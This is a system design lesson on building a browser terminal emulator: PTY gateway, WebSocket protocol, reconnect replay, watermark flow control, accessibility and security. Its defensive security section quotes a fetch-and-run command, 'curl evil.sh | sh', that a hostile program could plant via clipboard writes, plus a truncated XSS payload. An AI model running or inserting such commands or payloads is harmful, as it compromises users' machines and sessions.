  • Chunk large pastes. A 2 MB paste sent as one write can overflow the program's input buffer. Send it in slices of a few KB.

Think first

On a 150 ms connection, every typed character appears 150 ms late. Can the terminal show it immediately?

Check your understanding · Exercise 5

Which input behaviors are correct? Select all that apply.

The connection: a socket to a PTY, resize, and reconnect

On the server, the shell doesn't talk to a socket directly. It talks to a PTY (pseudo-terminal): a pair of kernel devices that makes a process believe it is attached to a real terminal. The shell reads keys from it and writes output to it. The PTY's line discipline handles details such as turning byte 3 into SIGINT and echoing typed characters.

A small gateway process holds the other end of the PTY and relays bytes to and from the browser. node-pty (used by VS Code), ttyd, and GoTTY are well-known examples of that relay: the latter two serve a browser terminal over a WebSocket out of the box (ttyd uses xterm.js).

Decision How should bytes travel between the browser and the PTY gateway?

HTTP polling plus POST for keys

Poll GET /output?from=offset every few hundred ms; send each key with POST /input.

Pros

  • Works through any proxy.

Cons

  • Every keystroke pays a full request. Echo lag of 100 to 300 ms on top of network latency makes vim unusable.

Server-Sent Events for output, POST for input

Output streams over one long EventSource response; keys go up in small POSTs.

Pros

  • Output streaming is simple and auto-reconnects.

Cons

  • Text only, so bytes need base64 (33 percent larger).
  • Input still pays a request per key, and ordering across requests must be enforced.

One WebSocket with binary frames

One long-lived, two-way connection. Output and input travel as binary messages with a 1-byte type prefix.

Pros

  • A keystroke costs a few bytes on an open connection.
  • Binary frames carry raw PTY bytes without encoding overhead.
  • Supported in every browser and most proxies.

Cons

  • No built-in flow control or resume: we add both in our own protocol.
  • Long-lived connections need heartbeats so proxies don't drop them as idle.

What we pick: A WebSocket with binary frames. It's what VS Code remote, ttyd, GoTTY, and most cloud shells use. The websockets lesson covers the handshake, heartbeats, and proxies; here we design the messages that travel on it. WebTransport is a possible future choice for its multiple streams, but browser, proxy, and server support is still uneven, so it isn't worth the risk for this product.

A tiny protocol on top of the socket

Raw bytes alone aren't enough: we also need resize, flow control acks, and resume. Prefix every binary message with a 1-byte type. Data stays raw (no JSON, no base64), and control messages are small JSON payloads. Chapter 10 lists every message.

Resize: telling the process how big the screen is

When the pane changes size, the terminal computes new cols and rows from the pane size and the cell size (cols = floor(width / cellWidth)), resizes its buffer, and sends a resize message. The gateway calls pty.resize(cols, rows), which sets the PTY's window size with the TIOCSWINSZ ioctl. The kernel then sends SIGWINCH (window change signal) to the foreground process group, and vim or htop query the new size and repaint.

  • Watch the pane with ResizeObserver, not window.resize: split panes and sidebars change size without the window changing.
  • Debounce the message by about 100 ms while a user drags a splitter. Resizing the local buffer can happen right away, but 60 resize signals per second make full-screen apps flicker.
  • Send only when cols or rows actually changed. Most pixel changes don't cross a cell boundary.
  • Never send 0 rows or 0 columns, which happens when the pane is hidden. Skip resize while hidden and send the real size when it's shown again.

Reconnecting to a living session

Wi-Fi drops for 4 seconds in the middle of a 20 minute build. A naive design closes the socket, the gateway kills the PTY, and the build dies. The requirement says the process lives on. That means the session belongs to the gateway, not to the socket, much like tmux keeps sessions alive when your SSH connection drops.

Decision How does a reconnecting client get back what it missed?

Start fresh

On reconnect, attach to the session and show only new output.

Pros

  • Nothing to build.

Cons

  • Everything printed during the drop is gone, including the error the user was waiting for.
  • A full-screen app shows a half-painted screen until its next redraw.

Replay from a byte offset

The gateway numbers every output byte and keeps the last few MB in a ring buffer.

The client remembers the offset it has processed and sends resume { offset }; the gateway replays from there.

Pros

  • Exact: no gaps, no duplicates.
  • Cheap for short drops, the common case.

Cons

  • If the client was gone longer than the buffer covers, the start of the gap is lost.
  • Replaying 4 MB through the parser takes a moment.

Server-side headless terminal plus snapshot

The gateway also runs a terminal emulator without a screen (xterm.js has a headless package) that parses all output.

A new or long-gone client receives a serialized snapshot of the screen and recent scrollback, then live bytes.

Pros

  • Works after any gap, including a fresh tab the next day.
  • The snapshot is small: the current screen, not every byte that passed.

Cons

  • CPU and memory on the server for every session.
  • The server's emulator and the client's must agree on behavior, or the snapshot differs.

What we pick: Both, layered. Byte-offset replay handles the common short drop exactly. When the requested offset has already left the ring buffer, or a brand-new tab attaches, the gateway sends a snapshot from its headless emulator instead. VS Code's persistent terminals follow the same idea: they restore the visible content of a terminal by serializing a buffer kept outside the window.

Sequence of a reconnect. The Gateway has sent output up to 4.1 MB to the Connection. The socket drops because Wi-Fi fails. The Connection tells the Terminal the status is reconnecting. A retry after 0.5 seconds fails. The next retry sends hello with resume from 4.1 MB. The Gateway reads from that offset in its Ring buffer, which returns the bytes printed since the drop. The Gateway replies ready with mode replay, and the Connection writes the replayed bytes into the Terminal, then status live. A note says if the offset was already evicted, the gateway sends a snapshot instead.TerminalConnectionGatewayRing bufferoutput to 4.1 MBdrop (Wi-Fi)reconnectingretry 0.5 s failshello, from 4.1 MBread from offsetbytes since dropready: replaywrite bytes, liveoffset already evicted?send a snapshot instead
The client resumes from the offset its parser has processed, not the offset it received, so bytes that were queued but unparsed when the socket died are sent again rather than lost.
Connection state machine. Connecting moves to live on ready, or to unauthorized when the gateway rejects the ticket. Live moves to reconnecting when the socket drops or a heartbeat pong is missed. Reconnecting retries with backoff while the screen is dimmed; it returns to live when resumed, moves to ended on SESSION_GONE, and to unauthorized on AUTH_EXPIRED. Ended shows the exit code and a start new session button. Unauthorized asks the host for a new ticket.connectingticket, hellolivebytes flowreconnectingbackoff, dimmedunauthorizedask for ticketendedexit code, restartreadydropresumedbad ticketAUTH_EXPIREDSESSION_GONE
Every state has a visible UI: a spinner, the live terminal, a dimmed screen with a banner, an exit code with a restart button, or a sign-in prompt. No state silently drops keystrokes.

The connection state machine has five states. connecting becomes live once the server confirms the session. A socket close or a missed heartbeat (no pong in 10 seconds) moves live to reconnecting, which retries with exponential backoff and jitter: 0.5, 1, 2, 4, up to 15 seconds.

While reconnecting, the terminal keeps the screen, dims it, shows a banner, and buffers keystrokes locally up to a small limit, or refuses them with a visible notice. A server reply that the session no longer exists moves to ended, which shows the exit code and a "Start new session" button.

An auth failure moves to unauthorized, which asks the host app for a fresh ticket instead of retrying blindly. The browser's WebSocket API doesn't expose the HTTP status of a failed handshake, so the gateway should signal auth problems with an error message or a close code in the 4000 to 4999 range that applications may use, not a bare 401.

Check your understanding · Exercise 6

The user drags a split-pane divider for 2 seconds. Which behaviors are right? Select all that apply.

Flow control: staying responsive when output floods

Run cat huge.log on a 100 MB file. The server reads it from disk in well under a second. A browser terminal parses and renders in the range of 5 to 35 MB per second, the range the xterm.js docs give for their emulator. So the producer is 10 to 100 times faster than the consumer, and the difference has to go somewhere.

Without flow control it goes into memory. Bytes pile up in the gateway's socket buffer, in the network, and in the browser's queue of unprocessed messages. The terminal keeps working through a queue that is seconds or minutes long.

The user presses Ctrl+C: the byte reaches the server quickly and the process stops, but the screen keeps scrolling for another 30 seconds, because 80 MB that were already sent still have to be parsed. To the user, Ctrl+C "didn't work". Worse, xterm.js has a hard limit on its write buffer (50 MB in its docs) and discards data beyond it, to avoid running out of memory.

Decision How should the terminal keep a flood under control?

No flow control, just a big queue

Write every message into the terminal as it arrives; let the parser work through it in frame-sized slices.

Pros

  • Nothing to build. Fine when output is slow.

Cons

  • Memory grows with the backlog: tens or hundreds of MB.
  • Ctrl+C appears to fail because the backlog keeps playing.
  • Past the write buffer limit, output is silently dropped.

Pause per chunk

After sending each chunk, the gateway pauses the PTY until the client acks that chunk was parsed.

Pros

  • The backlog is never more than one chunk.
  • Real backpressure: the process blocks on write while paused.

Cons

  • A full network round trip per chunk: throughput collapses to a fraction of what the parser could do.
  • Constant pause and resume calls add work on the server.

Watermarks with acks

The gateway counts bytes sent but not yet acked. Above a high watermark (100 KB, the example value in the xterm.js guide), it pauses the PTY. Below a low watermark (10 KB), it resumes.

The client acks with the byte count after its parser finishes each batch, using the terminal's write callback.

Pros

  • Memory is bounded by the high watermark.
  • Ctrl+C takes effect within one watermark's worth of output: about 100 KB, roughly 3 to 20 ms of parsing at 5 to 35 MB per second.
  • Throughput stays close to the parser's maximum.

Cons

  • Needs a custom ack message and matching counters on both sides.
  • If the counters disagree, or the client waits for more bytes than the low watermark before acking, the stream stalls forever, so it needs tests and a watchdog.

What we pick: Watermarks with acks. This is the scheme the xterm.js flow control guide describes for WebSocket setups: treat the socket as a pipe with unknown buffering, and carry write-callback accounting from the client back to the server. Their rule of thumb keeps the high watermark under 500 KB so keystrokes stay snappy, and their test is running yes and pressing Ctrl+C. VS Code's own terminal uses the same shape: pause at 100,000 unacknowledged characters, with acks every 5,000.

Sequence of a flood with flow control. The PTY running cat sends output chunks to the Gateway. The Gateway sends output to the Terminal; 60 KB, then 105 KB are in flight. Above the 100 KB high watermark, the Gateway pauses the PTY. The Terminal parses and sends an ack every 5 KB, and the Gateway subtracts each one. Below the 10 KB low watermark, the Gateway resumes the PTY. The user presses Ctrl+C; the Terminal sends byte 0x03, and the Gateway writes it to the PTY, whose line discipline delivers SIGINT. A note says at most about 100 KB is left to parse, a few tens of ms.TerminalGatewayPTY (cat)output chunksoutput, 60 KB in flightoutput, 105 KB in flightpause: above 100 KBack 5 KB (parsed)more acks, 5 KB eachresume: below 10 KBCtrl+C: 0x03write, SIGINTat most about 100 KB left to parsescreen quiet within tens of ms
The ack is sent from the term.write callback, so it means parsed, not merely received. That is what keeps the backlog, and the delay after Ctrl+C, small.
ts
const ACK_EVERY = 5 * 1024; // must not exceed the gateway's LOW
let unacked = 0;

socket.onmessage = (ev) => {
  const bytes = new Uint8Array(ev.data as ArrayBuffer);
  if (bytes[0] !== MSG.OUTPUT) return handleControl(bytes);
  const payload = bytes.subarray(1);
  unacked += payload.length;
  if (unacked >= ACK_EVERY) {
    const count = unacked;
    unacked = 0;
    term.write(payload, () => send(MSG.ACK, { bytes: count }));
  } else {
    term.write(payload);
  }
};
Client side: ack every 5 KB after the parser has processed it. term.write calls the callback when that chunk is parsed, not when it arrives.
ts
const HIGH = 100 * 1024;
const LOW = 10 * 1024;
let inFlight = 0;
let paused = false;

pty.onData((data) => {
  const buf = Buffer.from(data);
  inFlight += buf.length;
  ws.send(frame(MSG.OUTPUT, buf));
  if (!paused && inFlight > HIGH) { pty.pause(); paused = true; }
});

onAck((bytes) => {
  inFlight = Math.max(0, inFlight - bytes);
  if (paused && inFlight < LOW) { pty.resume(); paused = false; }
});
Gateway side with node-pty. The counters must measure the same thing as the client (payload bytes), and LOW must be at least the client's ack size: up to one ack's worth of parsed bytes always stays unacked, and if that alone keeps the count above LOW, the PTY never resumes.

Parsing in frame-sized slices

Flow control bounds the backlog; the parser still needs manners. write should only queue the data; a scheduler then parses for a fixed budget per frame (around 10 to 12 ms), lets the browser render and handle input, and continues in the next task. That's how a flood at full speed still leaves room for a key press to be handled within a frame. The runtime-performance lesson covers long tasks and INP in general; the key point here is that input handling must never wait behind a whole backlog.

Try it: flood the terminal

The lab simulates 10 seconds of output at a rate you choose, with Ctrl+C pressed at 5 seconds, against a parser that handles 20 MB per second. Compare the queued backlog, the data discarded past the 50 MB write buffer limit, the estimated frame time, and how long Ctrl+C takes to quiet the screen, with and without watermarks. The numbers are illustrative estimates from a toy model, not measurements.

Output MB per second
Flow lab at 100 MB per second with no flow control, a parser at 20 MB per second, and Ctrl+C at 5 seconds. Peak queued output 48 MB, discarded 352 MB, estimated frame time 20 ms, screen quiet 2.4 s after Ctrl+C. Output was silently discarded past the write buffer limit.50 MB write buffer limit0 sCtrl+C10 speak queued: 48 MBdiscarded: 352 MBframe time (estimate): 20 msquiet after Ctrl+C: 2.4 s
A toy model with illustrative estimates, not measurements: the parser handles 20 MB per second, the write buffer drops data above 50 MB, and watermarks pause the source at 100 KB queued. Bars show queued, unparsed output every half second. Output was silently discarded past the write buffer limit.

Check your understanding · Exercise 7

A user runs yes (infinite output) and presses Ctrl+C. Which statements are true with watermark flow control (high 100 KB)? Select all that apply.

Architecture, data model, and interfaces

Now assemble the pieces from chapters 3 to 9. The design has one rule: the buffer is the single source of truth. The parser is the only writer of cells, and the renderer, selection, search, links, and the screen reader view only read it. Input never touches cells directly: keys go out to the process, and the echo comes back through the parser like any other output.

Wireframe of the terminal pane in a workspace called api-server. A tab strip has bash, which is active, npm run dev, and a plus button, with find and split buttons on the right. Below it a banner says reconnecting, output is kept. The terminal area shows dollar npm test, PASS src/cart.test.ts, Tests 12 passed of 12, and a prompt with a block cursor; a note says it is a canvas plus a hidden textarea. A mobile key bar has Esc, Ctrl, Tab, up, and down. A status line says bash, 120 by 30, live, echo 14 ms.Workspace: api-serverbashnpm run dev+findsplitReconnecting, output is kept$ npm testPASS src/cart.test.tsTests: 12 passed, 12 total$canvas + hidden textareaEscCtrlTab↑↓mobile key barbash, 120 x 30, live, echo 14 ms
Each part maps to a decision: tabs are separate sessions, the banner is the reconnecting state, the grid is a canvas with a hidden textarea at the cursor, the key bar covers keys phones lack, and the status line shows size and connection health.
PartResponsibilityWhy the boundary is here
TerminalViewThe host-facing component: props, events, mounting, focus, theme, the fit to pane size.The embedding app (VS Code-like shell, Codespaces page) should only ever touch this API.
ConnectionWebSocket, message framing, heartbeats, reconnect with backoff, resume offsets, flow control acks.Network failure is its own world. Nothing else should know a reconnect happened, beyond a status event.
WriteQueue and ParserQueue incoming bytes, decode UTF-8, run the state machine in frame-sized slices, call handlers.Keeps parsing time bounded so input and painting get their turn.
InputHandlerApplies parser actions to the buffer: print, move cursor, erase, scroll regions, modes, OSC.All terminal semantics in one place, testable without a DOM.
BufferSetNormal buffer with ring scrollback, alternate buffer, cursor, modes, dirty row range.The source of truth every feature reads.
RendererWebGL with glyph atlas, DOM fallback; paints dirty rows once per frame; cursor layer.Swappable at runtime when the WebGL context is lost.
InputControllerHidden textarea, key encoding, IME, paste with bracketed mode, custom key hook.Turns browser events into bytes and nothing else.
SelectionManager, SearchService, LinkProviderText features rebuilt over the buffer, with decorations drawn by the renderer.Read-only consumers; each can be lazy-loaded.
A11yViewScreen reader mode: a live region and a navigable DOM mirror of rows.Separate from the renderer, so it works with WebGL.
Architecture of the terminal. The host app mounts TerminalView. Three columns sit below. The browser layer holds Renderer with WebGL and DOM fallback, A11yView with a live region and rows, Features for selection, search, and links, and InputController with the textarea and IME. The core, with no DOM, holds Parser, the BufferSet with cells and modes, and KeyEncoder. The network column holds Connection with frames and acks, and a note about resume, backoff, and watermark acks. The Gateway outside sends output down to Connection and receives input. Connection feeds Parser, Parser writes BufferSet, and BufferSet is read by Renderer, A11yView, and Features. InputController feeds KeyEncoder, which reads modes from BufferSet and sends bytes to Connection.Host appTerminalViewGatewayPTY relayBrowser layerRendererWebGL, DOMA11yViewlive region, rowsFeaturesselect, search, linksInputControllertextarea, IMECore, no DOMParserstate machineBufferSetcells, modesKeyEncoderkey to bytesNetworkConnectionframes, acksresume, backoffwatermark acksmodes
The BufferSet is the hub: one writer (the parser) and many readers. The core column has no DOM, so it can be unit tested with byte strings and reused on the server as a headless emulator.

Most of these parts are pure TypeScript with no DOM: parser, input handler, buffer set, and the key encoder. That's deliberate. They can be unit tested with byte strings ("feed ESC[2J, expect empty grid"), they can run in Node for the gateway's headless emulator, and they could move to a worker later. xterm.js has the same split: a common core shared with its headless package, and a browser layer on top.

Data flow end to end. On the server, the PTY running the shell sends bytes to the Gateway, which keeps a ring buffer. The Gateway sends output frames over the network to the Connection in the browser, and the Connection sends acks back. The Connection passes payloads to the Parser's write queue, the Parser writes cells into the Buffer, and the Buffer gives dirty rows to the Renderer. On the input side, the Textarea passes keys, IME text, and paste to the Encoder, which sends input frames to the Connection. A Ticket API gives the Connection a 30 second ticket before it connects.ServerPTYshell, vimGatewayring bufferTicket API30 s ticketbytesBrowserEncoderkey to bytesTextareakeys, IME, pasteConnectionframes, acksParserwrite queueRendererdirty rowsBuffercells0x01outputackcellsticket
Only three things cross the network: 0x00 output frames down, 0x01 input frames and 0x03 acks up, plus a one-time ticket before connecting. Everything after the Connection is local and synchronous.

Follow one keystroke through the data flow. The user presses l, then s, then Enter. The textarea's input events carry l and s; keydown for Enter is encoded as \r. Each becomes an input message on the socket: 2 bytes each including the type prefix.

The gateway writes them to the PTY. The shell echoes l and s and, on Enter, runs ls, whose colored output comes back as output messages. The parser writes cells, marks rows dirty, the renderer paints them in the next frame, and every 5 KB of parsed output the client acks.

Think first

Should the parser run in a Web Worker so the main thread is free?

Check your understanding · Exercise 9

Which design choices follow from "the buffer is the single source of truth"? Select all that apply.

Data model: what the client holds and where it lives

A terminal has no server cache, no normalized store, and almost nothing in the URL. Nearly all state lives in plain objects owned by the terminal instance, outside any UI framework's state. That's on purpose: the buffer changes thousands of times per second, and pushing that through React state would re-render the tree for every byte. The host component holds a ref to the instance and listens for a few coarse events.

ts
type Modes = {
  applicationCursorKeys: boolean; // DECCKM, ESC[?1h
  bracketedPaste: boolean;        // ESC[?2004h
  mouseTracking: "none" | "click" | "drag" | "any";
  altScreen: boolean;             // ESC[?1049h
  cursorVisible: boolean;         // ESC[?25h
  wraparound: boolean;            // DECAWM
};
type Cursor = { row: number; col: number; pen: Attrs; savedRow?: number; savedCol?: number };
type Buffer = {
  lines: RingBuffer<Line>;        // scrollback + screen, cap = scrollback + rows
  absoluteBase: number;           // absolute number of lines[0], grows as lines evict
  scrollTop: number; scrollBottom: number; // scroll region (DECSTBM)
  cursor: Cursor;
};
type BufferSet = { normal: Buffer; alt: Buffer; active: "normal" | "alt" };
type Selection = { start: { line: number; col: number }; end: { line: number; col: number }; mode: "normal" | "word" | "line" | "block" };
type LinkTable = Map<number, { uri: string; params: string }>; // OSC 8 id per cell
type Session = { id: string; resumeOffset: number; status: ConnectionState; exitCode?: number };
The core entities. Lines and cells are typed arrays (chapter 3); everything else is small.
Data model. BufferSet holds two Buffers, normal and alternate, and the Modes such as application cursor keys and bracketed paste. Each Buffer has a ring of Lines and an absoluteBase, plus a Cursor with row, column, and pen. Each Line is a Uint32Array with a wrapped flag, and links to a LinkTable that maps OSC 8 ids to URIs. Selection and Search matches point into Buffers by absolute line number. Session holds the id and the resume offset. A note says 12 bytes per cell, so 10,000 lines of 120 columns is 14.4 MB.Sessionid, resumeOffsetBufferSetnormal, alt, activeModesappCursor, pasteSelectionabsolute linesBufferring, absoluteBaseCursorrow, col, penSearchmatches, absoluteLineUint32Array, wrappedLinkTableOSC 8 id to uritwomany12 bytes per cell10,000 lines x 120 cols = 14.4 MB
Everything hot is typed arrays owned by the terminal instance, outside any UI framework state. Selection and search store absolute line numbers, so converting to a ring slot is one subtraction.
DataWhere it livesWhy
Cells, cursor, modes, scroll regionTerminal instance memory (typed arrays)Hot path; no framework state, no copies.
Selection, search matches, hovered linkTerminal instance, as absolute line numbersMust survive scrolling and eviction checks.
Session id and resume offsetInstance memory, plus sessionStorage per tabA reload in the same tab can resume the same session; another tab gets its own.
Auth tokenMemory only, fetched from the host appNever in localStorage or the URL. See the auth-tokens lesson.
User settings (font, scrollback, theme, copy on select)Host app settings, synced to the accountSame terminal look on every machine.
Recorded output for replayGateway ring buffer and headless emulatorThe server is the only party that saw every byte.

Two details are worth calling out. First, absoluteBase: when the ring buffer evicts a line, the base goes up by one. Converting between absolute line numbers (used by selection and search) and ring slots is one subtraction.

Second, the resume offset counts bytes the parser has processed, not bytes received, the same rule as the flow control ack. Otherwise a reconnect skips bytes that were sitting unparsed in the write queue when the socket died.

Interface: the component API and the wire protocol

There are two interfaces to design: the props and events the host app uses, and the messages on the socket. Keep the component API small and the protocol versioned.

tsx
type TerminalProps = {
  sessionUrl: string;                     // wss://gw.example.com/sessions/abc
  getToken: () => Promise<string>;        // short-lived, fetched on each connect
  fontFamily?: string; fontSize?: number;
  theme?: TerminalTheme;
  scrollback?: number;                    // default 10_000
  screenReaderMode?: boolean;
  renderer?: "auto" | "webgl" | "dom";
  onKeyIntercept?: (e: KeyboardEvent) => boolean; // true = host handled it
  onTitleChange?: (title: string) => void;        // OSC 0 and 2, sanitized
  onStatusChange?: (s: ConnectionState) => void;
  onExit?: (code: number) => void;
  onOpenLink?: (url: string) => void;     // host decides how to open
  onClipboardWriteRequest?: (text: string) => Promise<boolean>; // OSC 52
};
// Imperative handle for host commands
type TerminalHandle = { focus(): void; paste(text: string): void; clear(): void;
  findNext(query: string, opts?: FindOptions): boolean; serialize(): string };
The component API. The host owns sessions and tokens; the terminal owns everything about bytes and cells.
Binary frames with a 1-byte type prefix. Output and input stay raw; control messages are tiny JSON.
Type byteDirectionPayloadMeaning
0x00 outputserver to clientraw PTY bytesProgram output, in order.
0x01 inputclient to serverraw bytesEncoded keys and paste.
0x02 resizeclient to server{ "cols": 120, "rows": 30 }Gateway calls pty.resize; kernel sends SIGWINCH.
0x03 ackclient to server{ "bytes": 5120 }Bytes processed by the parser; drives watermarks.
0x04 helloclient to server{ "v": 1, "resumeFrom": 1048576 }First message. Resume from this byte offset, or 0 for new.
0x05 readyserver to client{ "offset": 1048576, "mode": "replay" }Says whether replay or a snapshot follows, and from which offset.
0x06 exitserver to client{ "code": 130 }The process ended; no more output.
0x07 errorserver to client{ "code": "SESSION_GONE" }Also AUTH_EXPIRED and RATE_LIMITED, each mapped to a connection state.

Authentication happens before the first byte. The browser can't set an Authorization header on a WebSocket, so the client fetches a short-lived, single-use ticket from the host app's API (valid for 30 seconds, bound to one session id) and passes it in the hello message or the URL query. The gateway checks it, plus the Origin header, before attaching the PTY. The security section of chapter 11 explains why each of those matters.

Check your understanding · Exercise 10

Which interface choices are sound? Select all that apply.

Accessibility and security: who can use it, and who can abuse it

Two groups shape this chapter. Some users depend on a screen reader or the keyboard alone, so the terminal must expose its text in ways a canvas can't. Some programs print text an attacker controls, and some web pages would like to open a shell they shouldn't. Both are questions about one boundary: what the terminal exposes, and to whom.

Accessibility: a terminal for keyboard and screen reader users

Blind and low-vision developers use terminals every day, often more than graphical tools, because a native terminal is plain text that a screen reader can read. A WebGL canvas takes that away: to the accessibility tree it's one image. So accessibility can't be a renderer feature: it has to be its own view of the buffer, which is why the architecture gave it a separate A11yView. The screen-readers and keyboard-navigation lessons cover the general mechanics; this section covers what is specific to terminals.

Screen reader mode

xterm.js has a screenReaderMode option that adds supporting DOM elements for NVDA on Windows and VoiceOver on macOS. Whatever library you use, a good screen reader mode has two parts:

  • A live region for new output. An off-screen element with aria-live="polite" receives the text of new lines as they're written, so the reader speaks the result of ls after the user presses Enter. Typed characters should not be announced twice: the screen reader already echoes the key, so skip the server's echo of it.
  • A navigable mirror of the rows. An off-screen list of row elements, one per visible line, kept in sync with the buffer, so users can move through output line by line with their reader's reading keys, and review a long error message at their own pace.

Floods are the hard case again. A build printing 2,000 lines a second can't be read aloud; announcing each line queues hours of speech and can make the screen reader itself unresponsive.

Batch announcements to at most one every 500 ms or so, cap each one at a few hundred characters, and when output is very fast, announce a summary such as "Output is arriving quickly" and let the user read the mirror when it settles. Never announce the alternate screen line by line: htop repainting is noise. Announce the switch instead.

A review mode helps a lot. VS Code offers an accessible view of the terminal buffer that opens the output as a read-only text document. The user can search it, select it, and copy it with all the standard screen reader commands, then return to the prompt with Escape. It costs little, because it only reads the buffer.

Keyboard-only use and the Tab trap

A terminal must capture Tab, because the shell uses it for completion. That makes it a keyboard trap, and WCAG 2.1.2 (No Keyboard Trap) requires a way out. Provide a documented shortcut that moves focus out of the terminal, and a toggle that makes Tab move focus instead of completing (VS Code has one, bound to Ctrl+M on Windows and Linux). Announce the shortcut in the textarea's accessible name or description, for example Terminal 1, bash. Press Ctrl+M to toggle Tab moving focus.

  • Contrast. Programs pick colors you don't control, like dark blue on black. A minimum contrast setting adjusts foreground colors per cell to reach a ratio such as 4.5 to 1. xterm.js offers minimumContrastRatio for this.
  • Zoom. Ctrl+= and Ctrl+- should change the terminal's font size, then refit cols and rows, and send a resize.
  • Reduced motion. Respect prefers-reduced-motion for cursor blink and smooth scrolling.
  • Focus visibility. When the terminal has focus, show it: a visible outline on the pane, and a solid block cursor instead of a hollow one.

Check your understanding · Exercise 11

Which make the terminal usable with a screen reader? Select all that apply.

Security: remote code execution by design

Every other web app treats "an attacker runs a command on our server" as the worst case. For a terminal, running commands is the feature. So the questions change: who is allowed to attach to a shell, and what is the output allowed to make the browser do? Two boundaries matter: the socket (who gets in) and the parser (what output can trigger).

Who can attach to a shell

Decision How should the WebSocket prove who the user is?

The app's session cookie

The browser sends cookies with the WebSocket handshake; the gateway checks the session.

Pros

  • Zero client code.

Cons

  • WebSockets are not covered by CORS. Without a strict Origin check, any page the user visits can open a socket to the gateway with their cookies: cross-site WebSocket hijacking, which here means a full shell for the attacker.

A long-lived API token in the URL

wss://gw/sessions/abc?token=...

Pros

  • Works across domains.

Cons

  • URLs leak into proxy logs, analytics, and history. A leaked token is a shell until it expires.

A short-lived, single-use ticket plus an Origin check

The client asks the app API (with normal auth) for a ticket bound to one user, one session, and 30 seconds.

The gateway accepts the ticket once, checks Origin against an allow list, then attaches.

Pros

  • A leaked ticket is useless within seconds and can't be replayed.
  • Cookies alone never open a shell.

Cons

  • One extra request per connect, including every reconnect.
  • The gateway needs a shared store or signed tickets to validate.

What we pick: The ticket plus an Origin check. It closes cross-site hijacking and limits leaks to seconds. The auth-tokens lesson covers how the app API's own tokens are stored and refreshed; the terminal only ever holds the short ticket. Add idle timeouts (close the session after 30 minutes without a client), revoke sessions on logout, and log who attached to which container and when.

Output is untrusted input

The bytes on screen come from whatever program is running, and programs print attacker-controlled text all the time: a file you cat, a log line from the internet, a branch name in git log. Treat output like user input in any web app.

  • Never render output as HTML. A DOM renderer must set textContent or create text nodes, never innerHTML. A file containing <img src=x onerror=...> must show as those characters. The xss lesson explains why one innerHTML is enough to lose the session.
  • Sanitize titles. OSC 0 and 2 set the window title. Cap the length (say 200 characters), strip control characters, and pass the result to the host as text.
  • Gate clipboard writes. OSC 52 lets a program put text on the user's clipboard, which is handy in tmux over SSH. It also lets a malicious file plant curl evil.sh | sh for the user's next paste. Off by default; when on, show a notice or ask once per session. Never support OSC 52 clipboard reads: that would let any program read your clipboard.
  • Don't echo attacker text back as input. Some old terminals could report the window title back as keyboard input, so a hostile file could set a title containing a command and then ask for it to be "typed". Modern terminals refuse to report titles for this reason; don't add it back.
  • Validate links to http: and https: (chapter 9), and show the real target.
  • Strip escape bytes from pastes so a pasted payload can't close bracketed paste early (chapter 6).

Check your understanding · Exercise 12

Which are real risks for a web terminal? Select all that apply.

Performance and observability: budgets, benchmarks, and what to measure

Earlier chapters made the big performance choices: typed-array cells, a state-machine parser with a fast path for printable runs, WebGL rendering of dirty rows once per frame, frame-sliced parsing, and watermark flow control. This chapter collects their budgets in one place, covers the costs that only show up across many terminals and long sessions, and says how to keep the numbers true after launch.

Estimates for a mid-range laptop. Measure on your own target devices, including a low-end Chromebook.
StageBudget per frameThroughput (estimate)What breaks it
UTF-8 decodeunder 1 mshundreds of MB per secondAllocating a string per chunk.
Parse and apply to buffer10 to 12 ms slice5 to 35 MB per second (xterm.js docs)Per-cell objects, regexes, closures created per byte.
Render dirty rows (WebGL)1 to 2 msfull 200 by 50 grid in about 1 msAtlas rebuilds, a draw call per cell.
Input to socketunder 1 msnot throughput boundWaiting behind a parse backlog.
  • Memory across terminals. Scrollback dominates (chapter 9 has the math), but each terminal's renderer adds GPU memory for its WebGL context and atlas. Hidden terminals can drop their renderer and keep only the buffer. Chrome allows about 16 live WebGL contexts per page and loses the oldest beyond that (fewer on some mobile devices), so ten terminals with one context each is close to the limit: share one context or release contexts for hidden panes.
  • Leaks in a long-lived terminal come from disposed instances that are still referenced: socket listeners, ResizeObservers, matchMedia listeners, and timers for cursor blink. Every subscription gets a matching dispose(). The memory-leaks lesson shows how to find them with heap snapshots: open and close 50 terminals and check that the instance count returns to zero.
  • Load cost. Ship the core (parser, buffer, DOM renderer) in the first chunk, and lazy-load the WebGL renderer, search, ligatures, and the Unicode width tables. The terminal panel is often closed at page load, so the whole terminal can be a dynamic import.

Benchmarks to keep in CI

  • Throughput: feed a recorded 50 MB capture (a big ls -lR, a colorful build log) into a headless instance, report MB per second.
  • Repaint: replay a recorded htop session at 200 by 50 and report the 95th percentile frame time.
  • Ctrl+C under flood: run yes through the real gateway, send Ctrl+C, and measure time until output stops. Fail the build above 200 ms.
  • Correctness: run a terminal conformance suite (vttest is the classic one) and snapshot-test the buffer for each recorded capture.

What to log in production

Track keystroke-to-echo latency (the time from sending an input byte to the first output after it, a good proxy for felt lag), reconnects per session and their cause, resume mode used (replay or snapshot), flow control pauses per minute, renderer fallbacks with the reason (WebGL unavailable, context lost), and long tasks over 50 ms attributed to parse or render. Never log terminal content: it contains secrets, tokens, and private code.

Check your understanding · Exercise 13

A user keeps 10 terminals open in split panes and reports the page using 1.5 GB. Which fixes help? Select all that apply.

Running it in the interview

This question rewards depth in a few places more than coverage of everything. Interviewers want to hear that you know what a terminal really is (a grid, a cursor, a byte stream with escape sequences) and that you can keep it fast and responsive when output floods.

MinutesWhat to doWhat to draw
0 to 5Scope: full shell or command runner, persistent sessions, number of terminals, accessibility.A list of requirements with numbers.
5 to 10Name the two loops: bytes in to parser to buffer to renderer, and keys to encoder to socket.The pipeline from chapter 2.
10 to 20The buffer: grid, cursor, scrollback ring, alternate screen, typed arrays.A grid with a cursor and the two buffers.
20 to 30The parser state machine and split chunks; UTF-8 and wide characters.Four or five states with arrows.
30 to 40Rendering choice (WebGL with DOM fallback) and input (hidden textarea, key table).The architecture boxes.
40 to 50Connection: WebSocket protocol, resize, reconnect with offsets, flow control with watermarks.A sequence diagram of a flood with pause and resume.
50 to 60Security, accessibility, and follow-ups.Nothing new; talk.

Say out loud early: "I'll treat the terminal as a faithful emulator: show exactly what the process prints and send exactly the bytes a native terminal would. Shell features like completion stay in the shell." Then lead with the buffer, because every other answer depends on it.

Follow-ups to expect

  • "What happens when I cat a 1 GB file?" The gateway pauses the PTY at the high watermark; the client acks after parsing; memory stays bounded; the screen goes quiet within tens of ms of Ctrl+C. Mention the frame-sliced parser.
